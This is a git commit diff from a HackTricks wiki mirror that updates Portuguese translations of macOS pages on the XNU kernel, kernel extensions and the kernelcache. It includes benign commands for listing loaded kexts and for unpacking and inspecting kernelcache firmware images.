mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
Translated ['macos-hardening/macos-security-and-privilege-escalation/mac
This commit is contained in:
parent
f1a13ea006
commit
3cbe6e3a08
5 changed files with 399 additions and 364 deletions
|
@ -1,52 +1,52 @@
|
|||
# Kernel e Extensões do Sistema macOS
|
||||
# macOS Kernel & System Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoie o HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Kernel XNU
|
||||
## XNU Kernel
|
||||
|
||||
O **núcleo do macOS é o XNU**, que significa "X is Not Unix". Esse kernel é fundamentalmente composto pelo **micronúcleo Mach** (a ser discutido posteriormente), **e** elementos do Berkeley Software Distribution (**BSD**). O XNU também fornece uma plataforma para **drivers de kernel por meio de um sistema chamado I/O Kit**. O kernel XNU faz parte do projeto de código aberto Darwin, o que significa que **seu código-fonte é livremente acessível**.
|
||||
O **núcleo do macOS é o XNU**, que significa "X não é Unix". Este kernel é fundamentalmente composto pelo **microkernel Mach** (a ser discutido mais tarde), **e** elementos da Berkeley Software Distribution (**BSD**). O XNU também fornece uma plataforma para **drivers de kernel através de um sistema chamado I/O Kit**. O kernel XNU é parte do projeto de código aberto Darwin, o que significa que **seu código-fonte é acessível livremente**.
|
||||
|
||||
Do ponto de vista de um pesquisador de segurança ou de um desenvolvedor Unix, o **macOS** pode parecer bastante **similar** a um sistema **FreeBSD** com uma GUI elegante e uma série de aplicativos personalizados. A maioria dos aplicativos desenvolvidos para o BSD compilará e será executada no macOS sem a necessidade de modificações, pois as ferramentas de linha de comando familiares aos usuários Unix estão todas presentes no macOS. No entanto, como o kernel XNU incorpora o Mach, existem algumas diferenças significativas entre um sistema semelhante a Unix tradicional e o macOS, e essas diferenças podem causar problemas potenciais ou fornecer vantagens únicas.
|
||||
De uma perspectiva de um pesquisador de segurança ou um desenvolvedor Unix, **macOS** pode parecer bastante **semelhante** a um sistema **FreeBSD** com uma GUI elegante e uma série de aplicativos personalizados. A maioria dos aplicativos desenvolvidos para BSD irá compilar e rodar no macOS sem precisar de modificações, já que as ferramentas de linha de comando familiares aos usuários de Unix estão todas presentes no macOS. No entanto, como o kernel XNU incorpora Mach, existem algumas diferenças significativas entre um sistema tradicional semelhante ao Unix e o macOS, e essas diferenças podem causar problemas potenciais ou fornecer vantagens únicas.
|
||||
|
||||
Versão de código aberto do XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
|
||||
|
||||
### Mach
|
||||
|
||||
Mach é um **micronúcleo** projetado para ser **compatível com o UNIX**. Um de seus princípios de design chave foi **minimizar** a quantidade de **código** em execução no **espaço do kernel** e, em vez disso, permitir que muitas funções típicas do kernel, como sistema de arquivos, rede e E/S, sejam **executadas como tarefas em nível de usuário**.
|
||||
Mach é um **microkernel** projetado para ser **compatível com UNIX**. Um de seus princípios de design chave foi **minimizar** a quantidade de **código** executando no espaço do **kernel** e, em vez disso, permitir que muitas funções típicas do kernel, como sistema de arquivos, rede e I/O, **executem como tarefas de nível de usuário**.
|
||||
|
||||
No XNU, o Mach é **responsável por muitas das operações críticas de baixo nível** que um kernel normalmente manipula, como escalonamento de processador, multitarefa e gerenciamento de memória virtual.
|
||||
No XNU, Mach é **responsável por muitas das operações críticas de baixo nível** que um kernel normalmente lida, como agendamento de processador, multitarefa e gerenciamento de memória virtual.
|
||||
|
||||
### BSD
|
||||
|
||||
O **kernel** XNU também **incorpora** uma quantidade significativa de código derivado do projeto **FreeBSD**. Esse código **é executado como parte do kernel junto com o Mach**, no mesmo espaço de endereço. No entanto, o código do FreeBSD dentro do XNU pode diferir substancialmente do código original do FreeBSD porque foram necessárias modificações para garantir sua compatibilidade com o Mach. O FreeBSD contribui para muitas operações de kernel, incluindo:
|
||||
O **kernel** XNU também **incorpora** uma quantidade significativa de código derivado do projeto **FreeBSD**. Este código **executa como parte do kernel junto com Mach**, no mesmo espaço de endereço. No entanto, o código FreeBSD dentro do XNU pode diferir substancialmente do código FreeBSD original porque modificações foram necessárias para garantir sua compatibilidade com Mach. FreeBSD contribui para muitas operações do kernel, incluindo:
|
||||
|
||||
* Gerenciamento de processos
|
||||
* Manipulação de sinais
|
||||
* Mecanismos básicos de segurança, incluindo gerenciamento de usuário e grupo
|
||||
* Infraestrutura de chamada de sistema
|
||||
* Pilha TCP/IP e soquetes
|
||||
* Mecanismos básicos de segurança, incluindo gerenciamento de usuários e grupos
|
||||
* Infraestrutura de chamadas de sistema
|
||||
* Pilha TCP/IP e sockets
|
||||
* Firewall e filtragem de pacotes
|
||||
|
||||
Compreender a interação entre BSD e Mach pode ser complexo, devido aos seus diferentes frameworks conceituais. Por exemplo, o BSD usa processos como sua unidade fundamental de execução, enquanto o Mach opera com base em threads. Essa discrepância é conciliada no XNU **associando cada processo BSD a uma tarefa Mach** que contém exatamente uma thread Mach. Quando a chamada de sistema fork() do BSD é usada, o código do BSD dentro do kernel usa funções do Mach para criar uma estrutura de tarefa e uma thread.
|
||||
Entender a interação entre BSD e Mach pode ser complexo, devido aos seus diferentes frameworks conceituais. Por exemplo, o BSD usa processos como sua unidade fundamental de execução, enquanto Mach opera com base em threads. Essa discrepância é reconciliada no XNU **associando cada processo BSD a uma tarefa Mach** que contém exatamente uma thread Mach. Quando a chamada de sistema fork() do BSD é usada, o código BSD dentro do kernel usa funções Mach para criar uma estrutura de tarefa e thread.
|
||||
|
||||
Além disso, **Mach e BSD mantêm modelos de segurança diferentes**: o modelo de segurança do **Mach** é baseado em **direitos de porta**, enquanto o modelo de segurança do BSD opera com base na **propriedade do processo**. Disparidades entre esses dois modelos ocasionalmente resultaram em vulnerabilidades de escalonamento de privilégios locais. Além das chamadas de sistema típicas, também existem **armadilhas do Mach que permitem que programas em espaço de usuário interajam com o kernel**. Esses elementos diferentes juntos formam a arquitetura híbrida e multifacetada do kernel macOS.
|
||||
Além disso, **Mach e BSD mantêm cada um modelos de segurança diferentes**: o modelo de segurança de **Mach** é baseado em **direitos de porta**, enquanto o modelo de segurança do BSD opera com base em **propriedade de processos**. Disparidades entre esses dois modelos ocasionalmente resultaram em vulnerabilidades de escalonamento de privilégios locais. Além das chamadas de sistema típicas, também existem **traps Mach que permitem que programas de espaço de usuário interajam com o kernel**. Esses diferentes elementos juntos formam a arquitetura híbrida multifacetada do kernel do macOS.
|
||||
|
||||
### I/O Kit - Drivers
|
||||
|
||||
O I/O Kit é um **framework de driver de dispositivo orientado a objetos de código aberto** no kernel XNU, que lida com **drivers de dispositivo carregados dinamicamente**. Ele permite que código modular seja adicionado ao kernel dinamicamente, suportando hardware diversificado.
|
||||
O I/O Kit é um framework de **driver de dispositivo** orientado a objetos de código aberto no kernel XNU, que lida com **drivers de dispositivo carregados dinamicamente**. Ele permite que código modular seja adicionado ao kernel em tempo real, suportando hardware diversificado.
|
||||
|
||||
{% content-ref url="macos-iokit.md" %}
|
||||
[macos-iokit.md](macos-iokit.md)
|
||||
|
@ -58,88 +58,19 @@ O I/O Kit é um **framework de driver de dispositivo orientado a objetos de cód
|
|||
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Kernelcache
|
||||
## macOS Kernel Extensions
|
||||
|
||||
O **kernelcache** é uma versão **pré-compilada e pré-linkada do kernel XNU**, juntamente com drivers de dispositivo essenciais e **extensões de kernel**. Ele é armazenado em um formato **compactado** e é descompactado na memória durante o processo de inicialização. O kernelcache facilita um **tempo de inicialização mais rápido** ao ter uma versão pronta para ser executada do kernel e drivers essenciais disponíveis, reduzindo o tempo e os recursos que seriam gastos dinamicamente carregando e vinculando esses componentes no momento da inicialização.
|
||||
macOS é **super restritivo para carregar Extensões de Kernel** (.kext) devido aos altos privilégios com que o código será executado. Na verdade, por padrão, é virtualmente impossível (a menos que um bypass seja encontrado).
|
||||
|
||||
No iOS, ele está localizado em **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** no macOS você pode encontrá-lo com **`find / -name kernelcache 2>/dev/null`** ou **`mdfind kernelcache | grep kernelcache`**
|
||||
|
||||
É possível executar **`kextstat`** para verificar as extensões de kernel carregadas.
|
||||
|
||||
#### IMG4
|
||||
|
||||
O formato de arquivo IMG4 é um formato de contêiner usado pela Apple em seus dispositivos iOS e macOS para **armazenar e verificar com segurança** componentes de firmware (como **kernelcache**). O formato IMG4 inclui um cabeçalho e várias tags que encapsulam diferentes partes de dados, incluindo a carga útil real (como um kernel ou bootloader), uma assinatura e um conjunto de propriedades de manifesto. O formato suporta verificação criptográfica, permitindo que o dispositivo confirme a autenticidade e integridade do componente de firmware antes de executá-lo.
|
||||
|
||||
Geralmente é composto pelos seguintes componentes:
|
||||
|
||||
* **Carga útil (IM4P)**:
|
||||
* Frequentemente comprimido (LZFSE4, LZSS, ...)
|
||||
* Opcionalmente criptografado
|
||||
* **Manifesto (IM4M)**:
|
||||
* Contém Assinatura
|
||||
* Dicionário Adicional Chave/Valor
|
||||
* **Informações de Restauração (IM4R)**:
|
||||
* Também conhecido como APNonce
|
||||
* Impede a reprodução de algumas atualizações
|
||||
* OPCIONAL: Geralmente isso não é encontrado
|
||||
|
||||
Descompacte o Kernelcache:
|
||||
```bash
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
#### Símbolos do Kernelcache
|
||||
|
||||
Às vezes a Apple lança o **kernelcache** com **símbolos**. Você pode baixar alguns firmwares com símbolos seguindo os links em [https://theapplewiki.com](https://theapplewiki.com/).
|
||||
|
||||
### IPSW
|
||||
|
||||
Estes são **firmwares** da Apple que você pode baixar em [**https://ipsw.me/**](https://ipsw.me/). Entre outros arquivos, ele conterá o **kernelcache**.\
|
||||
Para **extrair** os arquivos, você pode simplesmente **descompactá-lo**.
|
||||
|
||||
Após extrair o firmware, você obterá um arquivo como: **`kernelcache.release.iphone14`**. Está em formato **IMG4**, você pode extrair as informações interessantes com:
|
||||
|
||||
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
* [**img4tool**](https://github.com/tihmstar/img4tool)
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
Você pode verificar os símbolos extraídos do kernelcache com: **`nm -a kernelcache.release.iphone14.e | wc -l`**
|
||||
|
||||
Com isso, agora podemos **extrair todas as extensões** ou a **que você está interessado em:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## Extensões de Kernel do macOS
|
||||
|
||||
O macOS é **super restritivo ao carregar Extensões de Kernel** (.kext) devido aos altos privilégios que o código terá ao ser executado. Na verdade, por padrão, é virtualmente impossível (a menos que seja encontrada uma forma de contornar).
|
||||
Na página seguinte, você também pode ver como recuperar o `.kext` que o macOS carrega dentro de seu **kernelcache**:
|
||||
|
||||
{% content-ref url="macos-kernel-extensions.md" %}
|
||||
[macos-kernel-extensions.md](macos-kernel-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Extensões de Sistema do macOS
|
||||
### macOS System Extensions
|
||||
|
||||
Em vez de usar Extensões de Kernel, o macOS criou as Extensões de Sistema, que oferecem APIs em nível de usuário para interagir com o kernel. Dessa forma, os desenvolvedores podem evitar o uso de extensões de kernel.
|
||||
Em vez de usar Extensões de Kernel, o macOS criou as Extensões de Sistema, que oferecem APIs de nível de usuário para interagir com o kernel. Dessa forma, os desenvolvedores podem evitar o uso de extensões de kernel.
|
||||
|
||||
{% content-ref url="macos-system-extensions.md" %}
|
||||
[macos-system-extensions.md](macos-system-extensions.md)
|
||||
|
@ -151,16 +82,16 @@ Em vez de usar Extensões de Kernel, o macOS criou as Extensões de Sistema, que
|
|||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprenda e pratique Hacking em AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprenda e pratique Hacking em GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Suporte ao HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# macOS Kernel Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,27 +15,27 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informações Básicas
|
||||
## Basic Information
|
||||
|
||||
As extensões de kernel (Kexts) são **pacotes** com a extensão **`.kext`** que são **carregados diretamente no espaço do kernel do macOS**, fornecendo funcionalidade adicional ao sistema operacional principal.
|
||||
As extensões do kernel (Kexts) são **pacotes** com a extensão **`.kext`** que são **carregados diretamente no espaço do kernel do macOS**, fornecendo funcionalidade adicional ao sistema operacional principal.
|
||||
|
||||
### Requisitos
|
||||
### Requirements
|
||||
|
||||
Obviamente, isso é tão poderoso que é **complicado carregar uma extensão de kernel**. Estes são os **requisitos** que uma extensão de kernel deve atender para ser carregada:
|
||||
Obviamente, isso é tão poderoso que é **complicado carregar uma extensão do kernel**. Estes são os **requisitos** que uma extensão do kernel deve atender para ser carregada:
|
||||
|
||||
* Ao **entrar no modo de recuperação**, as **extensões de kernel devem ser permitidas** para serem carregadas:
|
||||
* Ao **entrar no modo de recuperação**, as **extensões do kernel devem ser permitidas** para serem carregadas:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (327).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* A extensão de kernel deve ser **assinada com um certificado de assinatura de código de kernel**, que só pode ser **concedido pela Apple**. Quem revisará em detalhes a empresa e as razões pelas quais é necessário.
|
||||
* A extensão de kernel também deve ser **notarizada**, a Apple poderá verificá-la em busca de malware.
|
||||
* Então, o usuário **root** é quem pode **carregar a extensão de kernel** e os arquivos dentro do pacote devem **pertencer ao root**.
|
||||
* A extensão do kernel deve ser **assinada com um certificado de assinatura de código do kernel**, que só pode ser **concedido pela Apple**. Quem revisará em detalhes a empresa e as razões pelas quais é necessário.
|
||||
* A extensão do kernel também deve ser **notarizada**, a Apple poderá verificá-la em busca de malware.
|
||||
* Então, o usuário **root** é quem pode **carregar a extensão do kernel** e os arquivos dentro do pacote devem **pertencer ao root**.
|
||||
* Durante o processo de upload, o pacote deve ser preparado em um **local protegido não-root**: `/Library/StagedExtensions` (requer a concessão `com.apple.rootless.storage.KernelExtensionManagement`).
|
||||
* Finalmente, ao tentar carregá-la, o usuário [**receberá um pedido de confirmação**](https://developer.apple.com/library/archive/technotes/tn2459/_index.html) e, se aceito, o computador deve ser **reiniciado** para carregá-la.
|
||||
|
||||
### Processo de Carregamento
|
||||
### Loading process
|
||||
|
||||
Em Catalina era assim: É interessante notar que o processo de **verificação** ocorre em **userland**. No entanto, apenas aplicativos com a concessão **`com.apple.private.security.kext-management`** podem **solicitar ao kernel que carregue uma extensão**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
No Catalina era assim: É interessante notar que o processo de **verificação** ocorre no **userland**. No entanto, apenas aplicativos com a concessão **`com.apple.private.security.kext-management`** podem **solicitar ao kernel que carregue uma extensão**: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
|
||||
|
||||
1. **`kextutil`** cli **inicia** o processo de **verificação** para carregar uma extensão
|
||||
* Ele se comunicará com **`kextd`** enviando usando um **serviço Mach**.
|
||||
|
@ -47,22 +47,119 @@ Em Catalina era assim: É interessante notar que o processo de **verificação**
|
|||
|
||||
Se **`kextd`** não estiver disponível, **`kextutil`** pode realizar as mesmas verificações.
|
||||
|
||||
### Enumeration (loaded kexts)
|
||||
```bash
|
||||
# Get loaded kernel extensions
|
||||
kextstat
|
||||
|
||||
# Get dependencies of the kext number 22
|
||||
kextstat | grep " 22 " | cut -c2-5,50- | cut -d '(' -f1
|
||||
```
|
||||
## Kernelcache
|
||||
|
||||
{% hint style="danger" %}
|
||||
Embora as extensões do kernel sejam esperadas em `/System/Library/Extensions/`, se você for para esta pasta você **não encontrará nenhum binário**. Isso se deve ao **kernelcache** e, para reverter um `.kext`, você precisa encontrar uma maneira de obtê-lo.
|
||||
{% endhint %}
|
||||
|
||||
O **kernelcache** é uma **versão pré-compilada e pré-vinculada do kernel XNU**, juntamente com **drivers** e **extensões do kernel** essenciais. Ele é armazenado em um formato **compactado** e é descompactado na memória durante o processo de inicialização. O kernelcache facilita um **tempo de inicialização mais rápido** ao ter uma versão pronta para execução do kernel e drivers cruciais disponíveis, reduzindo o tempo e os recursos que seriam gastos carregando e vinculando dinamicamente esses componentes no momento da inicialização.
|
||||
|
||||
### Kernelcache Local
|
||||
|
||||
No iOS, ele está localizado em **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** no macOS você pode encontrá-lo com: **`find / -name "kernelcache" 2>/dev/null`** \
|
||||
No meu caso, no macOS, eu o encontrei em:
|
||||
|
||||
* `/System/Volumes/Preboot/1BAEB4B5-180B-4C46-BD53-51152B7D92DA/boot/DAD35E7BC0CDA79634C20BD1BD80678DFB510B2AAD3D25C1228BB34BCD0A711529D3D571C93E29E1D0C1264750FA043F/System/Library/Caches/com.apple.kernelcaches/kernelcache`
|
||||
|
||||
#### IMG4
|
||||
|
||||
O formato de arquivo IMG4 é um formato de contêiner usado pela Apple em seus dispositivos iOS e macOS para **armazenar e verificar com segurança** componentes de firmware (como **kernelcache**). O formato IMG4 inclui um cabeçalho e várias tags que encapsulam diferentes partes de dados, incluindo a carga útil real (como um kernel ou bootloader), uma assinatura e um conjunto de propriedades de manifesto. O formato suporta verificação criptográfica, permitindo que o dispositivo confirme a autenticidade e integridade do componente de firmware antes de executá-lo.
|
||||
|
||||
Ele é geralmente composto pelos seguintes componentes:
|
||||
|
||||
* **Carga útil (IM4P)**:
|
||||
* Frequentemente compactada (LZFSE4, LZSS, …)
|
||||
* Opcionalmente criptografada
|
||||
* **Manifesto (IM4M)**:
|
||||
* Contém Assinatura
|
||||
* Dicionário adicional de Chave/Valor
|
||||
* **Informações de Restauração (IM4R)**:
|
||||
* Também conhecido como APNonce
|
||||
* Impede a repetição de algumas atualizações
|
||||
* OPCIONAL: Geralmente isso não é encontrado
|
||||
|
||||
Descompacte o Kernelcache:
|
||||
```bash
|
||||
# img4tool (https://github.com/tihmstar/img4tool
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
|
||||
# pyimg4 (https://github.com/m1stadev/PyIMG4)
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### Download 
|
||||
|
||||
* [**KernelDebugKit Github**](https://github.com/dortania/KdkSupportPkg/releases)
|
||||
|
||||
No [https://github.com/dortania/KdkSupportPkg/releases](https://github.com/dortania/KdkSupportPkg/releases) é possível encontrar todos os kits de depuração do kernel. Você pode baixá-lo, montá-lo, abri-lo com a ferramenta [Suspicious Package](https://www.mothersruin.com/software/SuspiciousPackage/get.html), acessar a pasta **`.kext`** e **extrair**.
|
||||
|
||||
Verifique os símbolos com:
|
||||
```bash
|
||||
nm -a ~/Downloads/Sandbox.kext/Contents/MacOS/Sandbox | wc -l
|
||||
```
|
||||
* [**theapplewiki.com**](https://theapplewiki.com/wiki/Firmware/Mac/14.x)**,** [**ipsw.me**](https://ipsw.me/)**,** [**theiphonewiki.com**](https://www.theiphonewiki.com/)
|
||||
|
||||
Às vezes, a Apple libera **kernelcache** com **símbolos**. Você pode baixar alguns firmwares com símbolos seguindo os links nessas páginas. Os firmwares conterão o **kernelcache** entre outros arquivos.
|
||||
|
||||
Para **extrair** os arquivos, comece mudando a extensão de `.ipsw` para `.zip` e **descompacte**.
|
||||
|
||||
Após extrair o firmware, você obterá um arquivo como: **`kernelcache.release.iphone14`**. Está no formato **IMG4**, você pode extrair as informações interessantes com:
|
||||
|
||||
[**pyimg4**](https://github.com/m1stadev/PyIMG4)**:**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
[**img4tool**](https://github.com/tihmstar/img4tool)**:**
|
||||
```bash
|
||||
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
|
||||
```
|
||||
### Inspecionando kernelcache
|
||||
|
||||
Verifique se o kernelcache possui símbolos com
|
||||
```bash
|
||||
nm -a kernelcache.release.iphone14.e | wc -l
|
||||
```
|
||||
Com isso, agora podemos **extrair todas as extensões** ou a **que você está interessado em:**
|
||||
```bash
|
||||
# List all extensions
|
||||
kextex -l kernelcache.release.iphone14.e
|
||||
## Extract com.apple.security.sandbox
|
||||
kextex -e com.apple.security.sandbox kernelcache.release.iphone14.e
|
||||
|
||||
# Extract all
|
||||
kextex_all kernelcache.release.iphone14.e
|
||||
|
||||
# Check the extension for symbols
|
||||
nm -a binaries/com.apple.security.sandbox | wc -l
|
||||
```
|
||||
## Referências
|
||||
|
||||
* [https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/](https://www.makeuseof.com/how-to-enable-third-party-kernel-extensions-apple-silicon-mac/)
|
||||
* [https://www.youtube.com/watch?v=hGKOskSiaQo](https://www.youtube.com/watch?v=hGKOskSiaQo)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# Introdução ao ARM64v8
|
||||
|
||||
{% hint style="success" %}
|
||||
